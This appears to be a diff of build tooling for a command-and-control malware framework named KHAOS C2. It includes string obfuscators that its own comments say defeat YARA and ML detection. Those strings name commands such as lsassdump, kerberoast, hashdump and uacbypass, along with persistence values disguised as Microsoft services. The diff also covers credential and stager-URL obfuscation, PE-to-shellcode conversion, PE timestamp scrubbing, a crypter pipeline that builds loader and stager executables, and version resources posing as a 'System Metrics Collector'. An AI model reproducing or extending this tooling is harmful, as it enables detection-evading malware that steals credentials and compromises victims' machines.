"RegDeleteTreeA": "fn_RegDeleteTreeA",
"GetTokenInformation": "fn_GetTokenInformation",
"SetThreadToken": "fn_SetThreadToken",
"PrivilegeCheck": "fn_PrivilegeCheck",
"AllocateAndInitializeSid": "fn_AllocateAndInitializeSid",
"EqualSid": "fn_EqualSid",
"FreeSid": "fn_FreeSid",
"ImpersonateNamedPipeClient": "fn_ImpersonateNamedPipeClient",
"CreateProcessWithTokenW": "fn_CreateProcessWithTokenW",
"CreateProcessAsUserW": "fn_CreateProcessAsUserW",
"CredEnumerateA": "fn_CredEnumerateA",
"CredFree": "fn_CredFree",
# kernel32.dll
"InitializeProcThreadAttributeList": "fn_InitializeProcThreadAttributeList",
"UpdateProcThreadAttribute": "fn_UpdateProcThreadAttribute",
"DeleteProcThreadAttributeList": "fn_DeleteProcThreadAttributeList",
"ResumeThread": "fn_ResumeThread",
"GetComputerNameA": "fn_GetComputerNameA",
"GetComputerNameW": "fn_GetComputerNameW",
"GetComputerNameExW": "fn_GetComputerNameExW",
"GetNativeSystemInfo": "fn_GetNativeSystemInfo",
"GlobalMemoryStatusEx": "fn_GlobalMemoryStatusEx",
"VirtualProtect": "fn_VirtualProtect",
"Sleep": "fn_Sleep",
"SetEvent": "fn_SetEvent",
"GetThreadContext": "fn_GetThreadContext",
"SetThreadContext": "fn_SetThreadContext",
"MapViewOfFile": "fn_MapViewOfFile",
"UnmapViewOfFile": "fn_UnmapViewOfFile",
"AddVectoredExceptionHandler":"fn_AddVectoredExceptionHandler",
"CreateNamedPipeA": "fn_CreateNamedPipeA",
"ConnectNamedPipe": "fn_ConnectNamedPipe",
"IsWow64Process": "fn_IsWow64Process",
"RtlGetVersion": "fn_RtlGetVersion",
# winspool.drv
"winspool.drv": "dll_winspool",
"OpenPrinterW": "fn_OpenPrinterW",
"ClosePrinter": "fn_ClosePrinter",
# shell32.dll
"shell32.dll": "dll_shell32",
"ShellExecuteExW": "fn_ShellExecuteExW",
"ShellExecuteExA": "fn_ShellExecuteExA",
"CheckTokenMembership": "fn_CheckTokenMembership",
# mscoree.dll
"mscoree.dll": "dll_mscoree",
"CorBindToRuntimeEx": "fn_CorBindToRuntimeEx",
# advapi32 extra
"RegDeleteKeyA": "fn_RegDeleteKeyA",
"RegCreateKeyExA": "fn_RegCreateKeyExA",
"RegSetValueExA": "fn_RegSetValueExA",
"RegCloseKey": "fn_RegCloseKey",
# secur32.dll
"LsaConnectUntrusted": "fn_LsaConnectUntrusted",
"LsaLookupAuthenticationPackage":"fn_LsaLookupAuthenticationPackage",
"LsaCallAuthenticationPackage": "fn_LsaCallAuthenticationPackage",
"LsaFreeReturnBuffer": "fn_LsaFreeReturnBuffer",
# netapi32.dll
"DsGetDcNameW": "fn_DsGetDcNameW",
# winhttp.dll
"WinHttpCrackUrl": "fn_WinHttpCrackUrl",
"WinHttpOpen": "fn_WinHttpOpen",
"WinHttpConnect": "fn_WinHttpConnect",
"WinHttpOpenRequest": "fn_WinHttpOpenRequest",
"WinHttpSetOption": "fn_WinHttpSetOption",
"WinHttpAddRequestHeaders": "fn_WinHttpAddRequestHeaders",
"WinHttpSetTimeouts": "fn_WinHttpSetTimeouts",
"WinHttpSendRequest": "fn_WinHttpSendRequest",
"WinHttpReceiveResponse": "fn_WinHttpReceiveResponse",
"WinHttpQueryOption": "fn_WinHttpQueryOption",
"WinHttpQueryDataAvailable": "fn_WinHttpQueryDataAvailable",
"WinHttpReadData": "fn_WinHttpReadData",
"WinHttpCloseHandle": "fn_WinHttpCloseHandle",
# gdi32.dll
"GetDeviceCaps": "fn_GetDeviceCaps",
"CreateCompatibleDC": "fn_CreateCompatibleDC",
"CreateCompatibleBitmap": "fn_CreateCompatibleBitmap",
"SelectObject": "fn_SelectObject",
"BitBlt": "fn_BitBlt",
"StretchBlt": "fn_StretchBlt",
"DeleteDC": "fn_DeleteDC",
"DeleteObject": "fn_DeleteObject",
"GetStockObject": "fn_GetStockObject",
"SetStretchBltMode": "fn_SetStretchBltMode",
"SetBrushOrgEx": "fn_SetBrushOrgEx",
"GetDIBits": "fn_GetDIBits",
# user32.dll
"GetDC": "fn_GetDC",
"ReleaseDC": "fn_ReleaseDC",
# BOF Beacon API names
"Beacon": "str_Beacon",
"BeaconPrintf": "str_BeaconPrintf",
"BeaconOutput": "str_BeaconOutput",
"BeaconIsAdmin": "str_BeaconIsAdmin",
"BeaconDataParse": "str_BeaconDataParse",
"BeaconDataExtract": "str_BeaconDataExtract",
"BeaconDataInt": "str_BeaconDataInt",
"BeaconDataShort": "str_BeaconDataShort",
"BeaconDataLength": "str_BeaconDataLength",
# process names
"winlogon.exe": "str_winlogon_exe",
"services.exe": "str_services_exe",
"spoolsv.exe": "str_spoolsv_exe",
"svchost.exe": "str_svchost_exe",
"lsass.exe": "str_lsass_exe",
"RuntimeBroker.exe": "str_RuntimeBroker_exe",
"dllhost.exe": "str_dllhost_exe",
"explorer.exe": "str_explorer_exe",
# WMI class name
"Win32_Process": "str_Win32_Process",
# UAC elevation moniker (stored as bytes; decoded as WCHAR in uac.c)
"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}":
"str_elevation_moniker",
# Privilege names — decoded at runtime only where needed
"SeDebugPrivilege": "str_SeDebugPrivilege",
"SeImpersonatePrivilege": "str_SeImpersonatePrivilege",
"SeAssignPrimaryTokenPrivilege": "str_SeAssignPrimaryTokenPrivilege",
"SeIncreaseQuotaPrivilege": "str_SeIncreaseQuotaPrivilege",
# Command dispatch names — kept encoded so plaintext never appears in .rdata
"lsassdump": "str_cmd_lsassdump",
"kerberoast": "str_cmd_kerberoast",
"asreproast": "str_cmd_asreproast",
"steal_token": "str_cmd_steal_token",
"hashdump": "str_cmd_hashdump",
"getsystem": "str_cmd_getsystem",
"uacbypass": "str_cmd_uacbypass",
"inject": "str_cmd_inject",
"privesc": "str_cmd_privesc",
"shinject": "str_cmd_shinject",
"execute-assembly": "str_cmd_execasm",
"bof": "str_cmd_bof",
# Registry paths used in getsystem / uac — offensive fingerprint
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer": "str_reg_installer_policy",
"AlwaysInstallElevated": "str_AlwaysInstallElevated",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System": "str_reg_policies_system",
"ConsentPromptBehaviorAdmin": "str_ConsentPromptBehaviorAdmin",
# UAC bypass operational strings — YARA triggers
"ms-settings": "str_ms_settings",
"DelegateExecute": "str_DelegateExecute",
"exefile": "str_exefile",
"mscfile": "str_mscfile",
"AppX3xxs313wwkfjhythsb8q46xdssgfr0": "str_wsreset_clsid",
"fodhelper.exe": "str_fodhelper_exe",
"computerdefaults.exe": "str_computerdefaults_exe",
"wsreset.exe": "str_wsreset_exe",
"sdclt.exe": "str_sdclt_exe",
"eventvwr.exe": "str_eventvwr_exe",
"schtasks.exe": "str_schtasks_exe",
"lifter.exe": "str_lifter_exe",
"WinMgmt": "str_WinMgmt",
"Environment": "str_Environment",
"windir": "str_windir",
"SilentCleanup": "str_SilentCleanup",
# Persistence masquerade strings
"Software\\Microsoft\\Windows\\CurrentVersion\\Run": "str_reg_run_key",
"MicrosoftUpdateService": "str_persist_reg_val",
"Microsoft Corporation": "str_persist_author",
"LogonTrigger": "str_persist_trigger_id",
"MicrosoftEdgeUpdateTaskMachineCore": "str_persist_task_name",
}
def main():
key = secrets.randbelow(256)
while key == 0: # avoid 0 — XOR identity gives plaintext
key = secrets.randbelow(256)
lines = [
"/* AUTO-GENERATED by tools/gen_evs_strings.py — do not edit.",
" * EVS_KEY is randomised every build; all byte arrays change.",
" * Defeats static YARA rules that match encoded API/DLL names.",
" */",
"#ifndef EVS_STRINGS_H",
"#define EVS_STRINGS_H",
"",
f"#define EVS_KEY 0x{key:02x}u",
"",
]
prev_group = None
for plaintext, suffix in STRINGS.items():
group = suffix.split("_")[0] # "dll", "fn", or "str"
if group != prev_group:
labels = {"dll": "DLL names", "fn": "API / function names",
"str": "Misc strings"}
lines.append(f"/* --- {labels.get(group, group)} --- */")
prev_group = group
enc = [b ^ key for b in plaintext.encode("latin-1")]
arr = ", ".join(f"0x{b:02x}" for b in enc)
lines.append(
f"static const unsigned char EVS_{suffix}[{len(enc)}]"
f" = {{ {arr} }}; /* {plaintext} */"
)
lines += [
"",
"/* Single XOR-decode helper — one definition in src/evs.c, called everywhere.",
" * Replaces 100+ identical inline loops that trigger ML-based heuristics. */",
"#ifndef _EVS_DEC_DECL",
"#define _EVS_DEC_DECL",
"#include <stddef.h>",
"extern void _evs_dec(char *out, const unsigned char *enc, size_t n);",
"#define EVS_D(out, arr) _evs_dec((out), (arr), sizeof(arr))",
"#endif",
"",
"#endif /* EVS_STRINGS_H */",
"",
]
out_path = os.path.join(
os.path.dirname(__file__), "..", "include", "evs_strings.h"
)
with open(out_path, "w") as f:
f.write("\n".join(lines))
print(f"[ok] wrote {out_path} (EVS_KEY=0x{key:02x})")
print(f" {len(STRINGS)} strings encoded")
if __name__ == "__main__":
main()
+67
View File
@@ -0,0 +1,67 @@
#!/usr/bin/env python3
"""
Generate agent/include/stager_config.h with XOR-obfuscated staging URL and
ChaCha20 key. Called by the server's build endpoint (never by hand).
Usage:
python tools/gen_stager_config.py --url <staging_url> --key <32-byte hex>
"""
import sys, os, argparse
XOR_KEY = b"\x7a\x3f\x91\xc4\x52\x88\xb1\xde\xad\xbe\xef\x13\x37\xca\xfe\x42"
XOR_KEY_LEN = len(XOR_KEY)
def xor_encode(data: bytes) -> list:
return [b ^ XOR_KEY[i % XOR_KEY_LEN] for i, b in enumerate(data)]
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True, help="Staging URL")
ap.add_argument("--key", required=True, help="32-byte ChaCha20 key (hex)")
args = ap.parse_args()
url_enc = xor_encode(args.url.encode())
key_raw = bytes.fromhex(args.key)
if len(key_raw) != 32:
print("[error] --key must be 32 bytes (64 hex chars)", file=sys.stderr)
sys.exit(1)
key_enc = xor_encode(key_raw)
key_hex = ", ".join(f"0x{b:02x}" for b in XOR_KEY)
url_arr = ", ".join(f"0x{b:02x}" for b in url_enc)
key_arr = ", ".join(f"0x{b:02x}" for b in key_enc)
url_prev = args.url[:48] + ("" if len(args.url) > 48 else "")
h = f"""\
/* AUTO-GENERATED by tools/gen_stager_config.py do not edit manually. */
#ifndef STAGER_CONFIG_H
#define STAGER_CONFIG_H
#ifndef CFG_XOR_KEY_LEN
#define CFG_XOR_KEY_LEN {XOR_KEY_LEN}
static const unsigned char CFG_XOR_KEY[{XOR_KEY_LEN}] = {{ {key_hex} }};
#endif
/* STAGE_URL XOR-encoded ({len(url_enc)} bytes) */
/* plaintext preview: {url_prev!r} */
static const unsigned char CFG_STAGE_URL[] = {{{url_arr}, 0x00}};
#define CFG_STAGE_URL_LEN {len(url_enc)}
/* STAGE_KEY ChaCha20 key, XOR-encoded (32 bytes) */
static const unsigned char CFG_STAGE_KEY[32] = {{{key_arr}}};
#endif /* STAGER_CONFIG_H */
"""
out = os.path.join(os.path.dirname(__file__), "..", "include", "stager_config.h")
with open(out, "w") as f:
f.write(h)
print(f"[ok] {out}")
print(f" URL {args.url}")
print(f" KEY {args.key[:8]}...")
if __name__ == "__main__":
main()
+33
View File
@@ -0,0 +1,33 @@
#!/usr/bin/env python3
"""
Get the SHA-256 pin of a TLS server's leaf certificate (DER bytes).
Usage: python tools/get_cert_pin.py <host> [port]
Output: 64 hex chars paste into server/config.yaml http.cert_pin
"""
import ssl, socket, hashlib, sys
host = sys.argv[1] if len(sys.argv) > 1 else None
port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
if not host:
print("Usage: python tools/get_cert_pin.py <host> [port]")
sys.exit(1)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
with socket.create_connection((host, port), timeout=10) as sock:
with ctx.wrap_socket(sock, server_hostname=host) as ssock:
der = ssock.getpeercert(binary_form=True)
pin = hashlib.sha256(der).hexdigest()
print(f"[+] {host}:{port}")
print(f"[+] SHA-256 pin: {pin}")
print()
print(f"# Paste into server/config.yaml:")
print(f' cert_pin: "{pin}"')
except Exception as e:
print(f"[-] Error: {e}", file=sys.stderr)
sys.exit(1)
+138
View File
@@ -0,0 +1,138 @@
#!/usr/bin/env python3
"""
Generate agent/include/agent_config.h with XOR-obfuscated compile-time credentials.
Usage: python tools/obfuscate.py [config.yaml]
python tools/obfuscate.py (reads ../server/config.yaml by default)
The generated header is included by channels/github.c.
Strings are XOR'd with a rolling multi-byte key so `strings agent.exe`
cannot extract them in plaintext.
"""
import sys, os, struct
from datetime import datetime, timezone
# Rolling XOR key — all non-printable bytes, no ASCII substring detectable by strings(1)
XOR_KEY = b"\x7a\x3f\x91\xc4\x52\x88\xb1\xde\xad\xbe\xef\x13\x37\xca\xfe\x42"
XOR_KEY_LEN = len(XOR_KEY)
# ── Config values to embed ────────────────────────────────────────────────────
# Edit these before calling the script, or pass a config.yaml (parsed below).
VALUES = {
"GITHUB_TOKEN": "",
"GIST_CMD_ID": "",
"GIST_OUT_ID": "",
"TEAMS_TENANT": "",
"TEAMS_CLIENT": "",
"TEAMS_SECRET": "",
"TEAMS_WEBHOOK": "",
"TEAMS_TEAM_ID": "",
"TEAMS_CHANNEL": "",
"BEACON_URL": "",
"DOH_DOMAIN": "",
"KILL_DATE": "", # Unix timestamp string, "0" = disabled
"CERT_PIN": "", # 64 hex chars (SHA-256 of leaf cert DER), "" = disabled
"SMB_HOST": "", # SMB pivot: hostname or IP, "" = disabled
"SMB_PIPE": "", # SMB pivot: pipe name (no leading backslash)
}
def load_yaml(path: str) -> None:
"""Minimal YAML loader — no external dependency needed."""
import re
with open(path) as f:
text = f.read()
def get(section, key):
pat = rf"{section}:\s*\n(?:[ \t]+\S[^\n]*\n)*?[ \t]+{key}:\s*[\"']?([^\"'\n]+)[\"']?"
m = re.search(pat, text)
return m.group(1).strip() if m else ""
VALUES["GITHUB_TOKEN"] = get("github", "token")
VALUES["GIST_CMD_ID"] = get("github", "gist_cmd")
VALUES["GIST_OUT_ID"] = get("github", "gist_out")
VALUES["TEAMS_TENANT"] = get("teams", "tenant_id")
VALUES["TEAMS_CLIENT"] = get("teams", "client_id")
VALUES["TEAMS_SECRET"] = get("teams", "client_secret")
VALUES["TEAMS_WEBHOOK"] = get("teams", "webhook_url")
VALUES["TEAMS_TEAM_ID"] = get("teams", "team_id")
VALUES["TEAMS_CHANNEL"] = get("teams", "channel_id")
VALUES["BEACON_URL"] = get("http", "beacon_url")
VALUES["CERT_PIN"] = get("http", "cert_pin")
VALUES["DOH_DOMAIN"] = get("doh", "domain")
VALUES["SMB_HOST"] = get("smb", "host")
VALUES["SMB_PIPE"] = get("smb", "pipe")
kd_raw = get("agent", "killdate") # "YYYY-MM-DD" or empty
if kd_raw:
try:
dt = datetime.strptime(kd_raw, "%Y-%m-%d").replace(tzinfo=timezone.utc)
VALUES["KILL_DATE"] = str(int(dt.timestamp()))
except ValueError:
print(f"[warn] killdate '{kd_raw}' not in YYYY-MM-DD format — ignored",
file=sys.stderr)
VALUES["KILL_DATE"] = "0"
else:
VALUES["KILL_DATE"] = "0"
def xor_encode(s: str) -> list[int]:
data = s.encode()
return [b ^ XOR_KEY[i % XOR_KEY_LEN] for i, b in enumerate(data)]
def emit_array(name: str, value: str) -> str:
if not value:
return f"/* {name}: not configured */\nstatic const unsigned char CFG_{name}[] = {{0x00}};\n#define CFG_{name}_LEN 0\n"
enc = xor_encode(value)
arr = ", ".join(f"0x{b:02x}" for b in enc)
preview = value[:32] + ("" if len(value) > 32 else "")
lines = [
f"/* {name} — XOR-encoded ({len(enc)} bytes) */",
f"/* plaintext preview: {preview!r} */",
f"static const unsigned char CFG_{name}[] = {{{arr}, 0x00}};",
f"#define CFG_{name}_LEN {len(enc)}",
"",
]
return "\n".join(lines)
def main():
yaml_path = sys.argv[1] if len(sys.argv) > 1 else \
os.path.join(os.path.dirname(__file__), "..", "..", "server", "config.yaml")
if os.path.exists(yaml_path):
load_yaml(yaml_path)
else:
print(f"[warn] config.yaml not found at {yaml_path} — using empty values", file=sys.stderr)
key_hex = ", ".join(f"0x{b:02x}" for b in XOR_KEY)
header = f"""\
/* AUTO-GENERATED by tools/obfuscate.py do not edit manually.
* Re-run: python tools/obfuscate.py [../server/config.yaml]
* XOR key (rolling {XOR_KEY_LEN} bytes): {{ {key_hex} }}
*/
#ifndef AGENT_CONFIG_H
#define AGENT_CONFIG_H
#define CFG_XOR_KEY_LEN {XOR_KEY_LEN}
static const unsigned char CFG_XOR_KEY[{XOR_KEY_LEN}] = {{ {key_hex} }};
"""
for name, value in VALUES.items():
header += emit_array(name, value)
header += "\n#endif /* AGENT_CONFIG_H */\n"
out_path = os.path.join(os.path.dirname(__file__), "..", "include", "agent_config.h")
with open(out_path, "w") as f:
f.write(header)
print(f"[ok] wrote {out_path}")
for k, v in VALUES.items():
status = f"({len(v)} chars)" if v else "EMPTY"
print(f" {k:<20} {status}")
if __name__ == "__main__":
main()
+82
View File
@@ -0,0 +1,82 @@
#!/usr/bin/env python3
"""
pe2sc.py convert a PE executable to position-independent shellcode via donut.
Usage:
python pe2sc.py <input.exe> <output.bin>
Requires ONE of:
a) pip install donut-shellcode (Python extension, needs MSVC on Windows)
b) donut.exe in PATH or tools/ (pre-built binary from github.com/TheWover/donut)
Download donut.exe:
https://github.com/TheWover/donut/releases
"""
import sys
import os
import subprocess
import shutil
def _via_python(in_path: str, out_path: str) -> bool:
try:
import donut # type: ignore
except ImportError:
return False
shellcode = donut.create(file=in_path, arch=3, entropy=3)
with open(out_path, "wb") as fh:
fh.write(shellcode)
print(f"[ok] {out_path} ({len(shellcode)} bytes) [donut python]")
return True
def _via_binary(in_path: str, out_path: str) -> bool:
# Look for donut.exe in PATH, then next to this script
donut_bin = shutil.which("donut") or shutil.which("donut.exe")
if not donut_bin:
script_dir = os.path.dirname(os.path.abspath(__file__))
candidate = os.path.join(script_dir, "donut.exe")
if os.path.exists(candidate):
donut_bin = candidate
if not donut_bin:
return False
# donut.exe -f 1 (raw) -a 3 (x86+x64) -e 3 (encrypt+random) -o <out> <in>
cmd = [donut_bin, "-f", "1", "-a", "3", "-e", "3", "-o", out_path, in_path]
r = subprocess.run(cmd, capture_output=True, text=True)
if r.returncode != 0:
print(r.stderr or r.stdout, file=sys.stderr)
return False
sz = os.path.getsize(out_path) if os.path.exists(out_path) else 0
print(f"[ok] {out_path} ({sz} bytes) [donut binary]")
return True
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <input.exe> <output.bin>", file=sys.stderr)
sys.exit(1)
in_path, out_path = sys.argv[1], sys.argv[2]
if not os.path.exists(in_path):
print(f"error: {in_path}: file not found", file=sys.stderr)
sys.exit(1)
if _via_python(in_path, out_path):
return
if _via_binary(in_path, out_path):
return
print(
"error: donut not found.\n"
" option 1: pip install donut-shellcode (requires MSVC on Windows)\n"
" option 2: place donut.exe in PATH or agent/tools/\n"
" https://github.com/TheWover/donut/releases",
file=sys.stderr,
)
sys.exit(1)
if __name__ == "__main__":
main()
+84
View File
@@ -0,0 +1,84 @@
#!/usr/bin/env python3
"""
pe_scrub.py post-build PE normalization.
- Timestamp: random plausible past date (2021-2024)
- Checksum: 0x00000000
- DOS stub padding: randomized (defeats stub fingerprint)
- Debug directory: timestamp fields zeroed
"""
import sys, os, struct, random, time, datetime
def scrub(path):
with open(path, 'r+b') as f:
data = bytearray(f.read())
if data[:2] != b'MZ':
print(f"[!] pe_scrub: not a PE: {path}"); return 1
e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
if data[e_lfanew:e_lfanew+4] != b'PE\x00\x00':
print(f"[!] pe_scrub: bad PE signature"); return 1
# Random timestamp 2021-01-01 … 2024-06-01
ts_min = int(time.mktime((2021, 1, 1, 0, 0, 0, 0, 0, 0)))
ts_max = int(time.mktime((2024, 6, 1, 0, 0, 0, 0, 0, 0)))
ts = random.randint(ts_min, ts_max)
struct.pack_into('<I', data, e_lfanew + 8, ts)
# Zero checksum (Optional Header + 0x40)
opt_off = e_lfanew + 4 + 20
struct.pack_into('<I', data, opt_off + 64, 0)
# Randomize DOS stub padding (0x40 .. e_lfanew-4)
pad_start, pad_end = 0x40, e_lfanew - 4
if pad_end > pad_start:
for i in range(pad_start, pad_end):
data[i] = random.randint(0, 255)
# Parse section table (needed for both debug dir and .comment)
num_sections = struct.unpack_from('<H', data, e_lfanew + 6)[0]
opt_size = struct.unpack_from('<H', data, e_lfanew + 20)[0]
sec_off = e_lfanew + 24 + opt_size
magic = struct.unpack_from('<H', data, opt_off)[0]
def rva_to_off(rva):
for s in range(num_sections):
o = sec_off + s * 40
va = struct.unpack_from('<I', data, o + 12)[0]
vs = struct.unpack_from('<I', data, o + 16)[0]
ro = struct.unpack_from('<I', data, o + 20)[0]
if va <= rva < va + vs:
return ro + (rva - va)
return None
# Zero debug directory timestamp
dd_off = opt_off + (96 if magic == 0x10b else 112) + 6 * 8
dbg_rva = struct.unpack_from('<I', data, dd_off)[0]
dbg_size = struct.unpack_from('<I', data, dd_off + 4)[0]
if dbg_rva and dbg_size >= 28:
fo = rva_to_off(dbg_rva)
if fo:
struct.pack_into('<I', data, fo + 4, 0)
# Zero .comment section content (GCC version fingerprint)
for s in range(num_sections):
o = sec_off + s * 40
name = data[o:o+8].rstrip(b'\x00')
if name == b'.comment':
raw_sz = struct.unpack_from('<I', data, o + 16)[0]
raw_off = struct.unpack_from('<I', data, o + 20)[0]
for i in range(raw_off, raw_off + raw_sz):
data[i] = 0
break
with open(path, 'wb') as f:
f.write(data)
ts_str = datetime.datetime.utcfromtimestamp(ts).strftime('%Y-%m-%d')
print(f"[ok] pe_scrub {os.path.basename(path)} ts={ts_str} chk=0x00000000")
return 0
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"usage: {sys.argv[0]} <pe_file>"); sys.exit(1)
sys.exit(scrub(sys.argv[1]))
+67
View File
@@ -0,0 +1,67 @@
#!/usr/bin/env bash
# ============================================================
# KHAOS C2 — Build script for Kali Linux / Debian
# Run this on the Linux machine where you want to build
# ============================================================
set -e
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
SERVER_DIR="$SCRIPT_DIR/server"
UI_DIR="$SCRIPT_DIR/ui"
BINARIES_DIR="$UI_DIR/src-tauri/binaries"
echo "[*] Installing system dependencies..."
sudo apt-get update -qq
sudo apt-get install -y --no-install-recommends \
curl wget git build-essential pkg-config \
libssl-dev libsqlite3-dev python3 python3-pip python3-venv \
libwebkit2gtk-4.1-dev libgtk-3-dev libayatana-appindicator3-dev \
librsvg2-dev patchelf
# ---- Node.js ----
if ! command -v node &>/dev/null; then
echo "[*] Installing Node.js..."
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt-get install -y nodejs
fi
# ---- Rust ----
if ! command -v cargo &>/dev/null; then
echo "[*] Installing Rust..."
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
fi
source "$HOME/.cargo/env"
# ---- Python venv ----
echo "[*] Setting up Python venv..."
cd "$SERVER_DIR"
python3 -m venv venv
./venv/bin/pip install -q -r requirements.txt
./venv/bin/pip install -q pyinstaller
# ---- Build khaos-server (Linux binary) ----
echo "[*] Building khaos-server with PyInstaller..."
./venv/bin/pyinstaller --clean khaos-server.spec
# Copy sidecar with Linux target triple name
mkdir -p "$BINARIES_DIR"
TRIPLE="x86_64-unknown-linux-gnu"
cp dist/khaos-server "$BINARIES_DIR/khaos-server-$TRIPLE"
chmod +x "$BINARIES_DIR/khaos-server-$TRIPLE"
echo "[+] Sidecar copied: khaos-server-$TRIPLE"
# ---- Build Tauri UI ----
echo "[*] Installing npm dependencies..."
cd "$UI_DIR"
npm install --silent
echo "[*] Building Tauri app for Linux..."
cargo tauri build
echo ""
echo "[+] Build complete!"
echo " .deb: $UI_DIR/src-tauri/target/release/bundle/deb/"
echo " AppImage: $UI_DIR/src-tauri/target/release/bundle/appimage/"
echo ""
echo "[!] Config & DB will be stored in ~/.local/share/KHAOS/ on first run"
+104
View File
@@ -0,0 +1,104 @@
#!/usr/bin/env python3
"""
build.py crypter build pipeline.
Modes:
python build.py full: agent + bake + loader
python build.py --bake-only bake + loader (existing agent.exe)
python build.py --stub-only loader only (existing payload files)
python build.py --stager-url <url> full + stager (downloads from url)
python build.py --bake-only --stager-url <url>
python build.py --ignore-cert stager skips TLS cert check
"""
import subprocess
import sys
import os
import shutil
import argparse
ROOT = os.path.dirname(os.path.abspath(__file__))
AGENT = os.path.normpath(os.path.join(ROOT, "..", "agent"))
STUB = os.path.join(ROOT, "stub")
STAGER = os.path.join(ROOT, "stager")
TOOLS = os.path.join(ROOT, "tools")
OUTPUT = os.path.join(ROOT, "output")
def _find(name: str, *fallbacks: str) -> str:
found = shutil.which(name)
if found:
return found
for fb in fallbacks:
if os.path.isfile(fb):
return fb
raise FileNotFoundError(
f"Cannot find '{name}'. Install it or add it to PATH."
)
MAKE = _find("make", r"C:\msys64\usr\bin\make.exe")
PYTHON = _find("python", r"C:\msys64\mingw64\bin\python.exe", sys.executable)
def run(cmd: list, cwd: str = None) -> None:
print(f"[+] {' '.join(str(x) for x in cmd)}")
r = subprocess.run(cmd, cwd=cwd)
if r.returncode != 0:
sys.exit(r.returncode)
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--bake-only", action="store_true")
ap.add_argument("--stub-only", action="store_true")
ap.add_argument("--stager-url", default=None,
help="Build stager that downloads from this URL")
ap.add_argument("--ignore-cert", action="store_true",
help="Stager ignores TLS cert errors")
args = ap.parse_args()
agent_bin = os.path.join(AGENT, "agent.exe")
# 1. build agent
if not args.bake_only and not args.stub_only:
run([MAKE, "build-only"], cwd=AGENT)
# 2. bake
if not args.stub_only:
if not os.path.isfile(agent_bin):
sys.exit(f"[!] agent.exe not found: {agent_bin}")
bake_cmd = [PYTHON, os.path.join(TOOLS, "bake.py"),
agent_bin, "--out-dir", STUB]
if args.stager_url:
bake_cmd += ["--stager-url", args.stager_url]
if args.ignore_cert:
bake_cmd += ["--ignore-cert"]
run(bake_cmd)
# 3. check payload files
if not os.path.isfile(os.path.join(STUB, "payload_meta.h")) or \
not os.path.isfile(os.path.join(STUB, "payload.bin")):
sys.exit(f"[!] payload files missing in {STUB}")
# 4. build loader (embedded payload)
run([MAKE], cwd=STUB)
os.makedirs(OUTPUT, exist_ok=True)
loader_src = os.path.join(STUB, "loader.exe")
loader_dst = os.path.join(OUTPUT, "loader.exe")
shutil.copy2(loader_src, loader_dst)
print(f"[ok] loader {os.path.getsize(loader_dst)//1024} KB -> {loader_dst}")
# 5. build stager (network download) if requested
if args.stager_url:
if not os.path.isfile(os.path.join(STAGER, "stager_cfg.h")):
sys.exit(f"[!] stager_cfg.h missing — bake with --stager-url failed?")
run([MAKE], cwd=STAGER)
stager_src = os.path.join(STAGER, "stager.exe")
stager_dst = os.path.join(OUTPUT, "stager.exe")
shutil.copy2(stager_src, stager_dst)
payload_srv = os.path.join(STAGER, "payload.bin")
print(f"[ok] stager {os.path.getsize(stager_dst)//1024} KB -> {stager_dst}")
print(f"[!!] upload {payload_srv} to your server at {args.stager_url}")
if __name__ == "__main__":
main()
+30
View File
@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="2.4.1.0"
processorArchitecture="amd64"
name="Veristone.VeriMetrics.Collector"
type="win32"/>
<description>System Metrics Collector</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
</application>
</compatibility>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
</windowsSettings>
</application>
</assembly>
+33
View File
@@ -0,0 +1,33 @@
#include <windows.h>
VS_VERSION_INFO VERSIONINFO
FILEVERSION 2,4,1,0
PRODUCTVERSION 2,4,1,0
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEFLAGS 0x0L
FILEOS VOS_NT_WINDOWS32
FILETYPE VFT_APP
FILESUBTYPE VFT2_UNKNOWN
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "Veristone Technologies Inc."
VALUE "FileDescription", "System Metrics Collector"
VALUE "FileVersion", "2.4.1.0"
VALUE "InternalName", "metricsd"
VALUE "LegalCopyright", "Copyright (C) 2023 Veristone Technologies Inc. All rights reserved."
VALUE "OriginalFilename", "metricsd.exe"
VALUE "ProductName", "VeriMetrics Suite"
VALUE "ProductVersion", "2.4"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x0409, 0x04B0
END
END
1 RT_MANIFEST "loader.manifest"
101 RCDATA "payload.bin"
+29
View File
@@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
